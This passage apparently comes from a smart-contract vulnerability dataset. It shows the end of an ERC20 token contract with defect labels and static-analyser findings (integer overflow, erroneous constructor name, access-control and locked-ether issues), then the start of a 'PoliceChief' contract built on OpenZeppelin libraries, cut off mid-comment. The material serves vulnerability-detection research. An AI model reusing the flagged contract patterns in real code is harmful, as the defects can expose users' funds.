}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public view returns (uint remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Token owner can approve for `spender` to transferFrom(...) `tokens`
// from the token owner's account. The `spender` contract function
// `receiveApproval(...)` is then executed
// ------------------------------------------------------------------------
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
// ------------------------------------------------------------------------
// Don't accept ETH
// ------------------------------------------------------------------------
function () public payable {
revert();
}
// ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// ------------------------------------------------------------------------
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | [{"defect": "Frozen_Ether", "type": "Code_specification", "severity": "Medium", "lines": ["101"]}, {"defect": "Erroneous_constructor_name", "type": "Access_control", "severity": "Medium", "lines": ["62"]}, {"defect": "Exceed_authority_access", "type": "Access_control", "severity": "Medium", "lines": ["85", "88"]}, {"defect": "Integer_overflow_and_underflow", "type": "Code_specification", "severity": "High", "lines": ["120"]}] | [{"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"SaleQR.sol": [32, 29, 30, 31]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"SaleQR.sol": [33, 34, 35, 36]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"SaleQR.sol": [63]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"SaleQR.sol": [147, 148, 149, 150, 151, 152]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"SaleQR.sol": [137, 138, 139]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"SaleQR.sol": [179, 180, 181, 182, 183, 184, 185]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"SaleQR.sol": [88, 89, 90, 91, 92, 93]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"SaleQR.sol": [202, 203, 204, 205, 206, 207]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"SaleQR.sol": [129, 130, 131]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"SaleQR.sol": [85, 86, 87]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"SaleQR.sol": [221, 222, 223]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"SaleQR.sol": [192, 193, 194]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"SaleQR.sol": [213, 214, 215]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"SaleQR.sol": [163, 164, 165, 166, 167]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"SaleQR.sol": [1]}}, {"check": "locked-ether", "impact": "Medium", "confidence": "High", "lines": {"SaleQR.sol": [213, 214, 215]}}, {"check": "missing-zero-check", "impact": "Low", "confidence": "Medium", "lines": {"SaleQR.sol": [86]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"SaleQR.sol": [107]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"SaleQR.sol": [85]}}, {"check": "too-many-digits", "impact": "Informational", "confidence": "Medium", "lines": {"SaleQR.sol": [120]}}] | [{"error": "Integer Underflow.", "line": 104, "level": "Warning"}, {"error": "Integer Underflow.", "line": 105, "level": "Warning"}, {"error": "Integer Overflow.", "line": 202, "level": "Warning"}] | [{"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 92, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 130, "severity": 1}, {"rule": "SOLIDITY_DEPRECATED_CONSTRUCTIONS", "line": 45, "severity": 1}, {"rule": "SOLIDITY_DEPRECATED_CONSTRUCTIONS", "line": 46, "severity": 1}, {"rule": "SOLIDITY_DEPRECATED_CONSTRUCTIONS", "line": 47, "severity": 1}, {"rule": "SOLIDITY_ERC20_APPROVE", "line": 163, "severity": 2}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 1, "severity": 1}, {"rule": "SOLIDITY_REDUNDANT_FALLBACK_REJECT", "line": 213, "severity": 1}, {"rule": "SOLIDITY_SAFEMATH", "line": 102, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 213, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 63, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 202, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 107, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 109, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 110, "severity": 1}] | [{"constant":true,"inputs":[],"name":"name","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"spender","type":"address"},{"name":"tokens","type":"uint256"}],"name":"approve","outputs":[{"name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"totalSupply","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"from","type":"address"},{"name":"to","type":"address"},{"name":"tokens","type":"uint256"}],"name":"transferFrom","outputs":[{"name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"decimals","outputs":[{"name":"","type":"uint8"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"tokenOwner","type":"address"}],"name":"balanceOf","outputs":[{"name":"balance","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[],"name":"acceptOwnership","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"owner","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"symbol","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"to","type":"address"},{"name":"tokens","type":"uint256"}],"name":"transfer","outputs":[{"name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"spender","type":"address"},{"name":"tokens","type":"uint256"},{"name":"data","type":"bytes"}],"name":"approveAndCall","outputs":[{"name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"newOwner","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"tokenAddress","type":"address"},{"name":"tokens","type":"uint256"}],"name":"transferAnyERC20Token","outputs":[{"name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"tokenOwner","type":"address"},{"name":"spender","type":"address"}],"name":"allowance","outputs":[{"name":"remaining","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"inputs":[],"payable":false,"stateMutability":"nonpayable","type":"constructor"},{"payable":true,"stateMutability":"payable","type":"fallback"},{"anonymous":false,"inputs":[{"indexed":true,"name":"_from","type":"address"},{"indexed":true,"name":"_to","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"from","type":"address"},{"indexed":true,"name":"to","type":"address"},{"indexed":false,"name":"tokens","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"tokenOwner","type":"address"},{"indexed":true,"name":"spender","type":"address"},{"indexed":false,"name":"tokens","type":"uint256"}],"name":"Approval","type":"event"}] | v0.4.25+commit.59dbf8f1 | false | 200 | Default | false | bzzr://c4e97650b66824717e6f96680f8368dde8f0a81fe4ab6ac577cc79d02984590f |
||||
PoliceChief | 0x669bffac935be666219c68d20931cbf677b8fa1c | Solidity | pragma solidity ^0.6.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: @openzeppelin/contracts/math/SafeMath.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
// File: @openzeppelin/contracts/utils/Address.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.2;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: @openzeppelin/contracts/token/ERC20/SafeERC20.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// File: @openzeppelin/contracts/utils/EnumerableSet.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
/**
* @dev Library for managing
* https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive
* types.
*
* Sets have the following properties:
*
* - Elements are added, removed, and checked for existence in constant time
* (O(1)).
* - Elements are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableSet for EnumerableSet.AddressSet;
*
* // Declare a set state variable
* EnumerableSet.AddressSet private mySet;
* }
* ```
*
* As of v3.0.0, only sets of type `address` (`AddressSet`) and `uint256`
* (`UintSet`) are supported.
*/
library EnumerableSet {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping (bytes32 => uint256) _indexes;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) { // Equivalent to contains(set, value)
// To delete an element from the _values array in O(1), we swap the element to delete with the last one in
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
// When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Set storage set, uint256 index) private view returns (bytes32) {
require(set._values.length > index, "EnumerableSet: index out of bounds");
return set._values[index];
}
// AddressSet
struct AddressSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(value)));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(value)));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(value)));
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint256(_at(set._inner, index)));
}
// UintSet
struct UintSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
}
// File: @openzeppelin/contracts/GSN/Context.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// File: @openzeppelin/contracts/access/Ownable.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// File: @openzeppelin/contracts/token/ERC20/ERC20.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name, string memory symbol) public {
_name = name;
_symbol = symbol;
_decimals = 18;
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
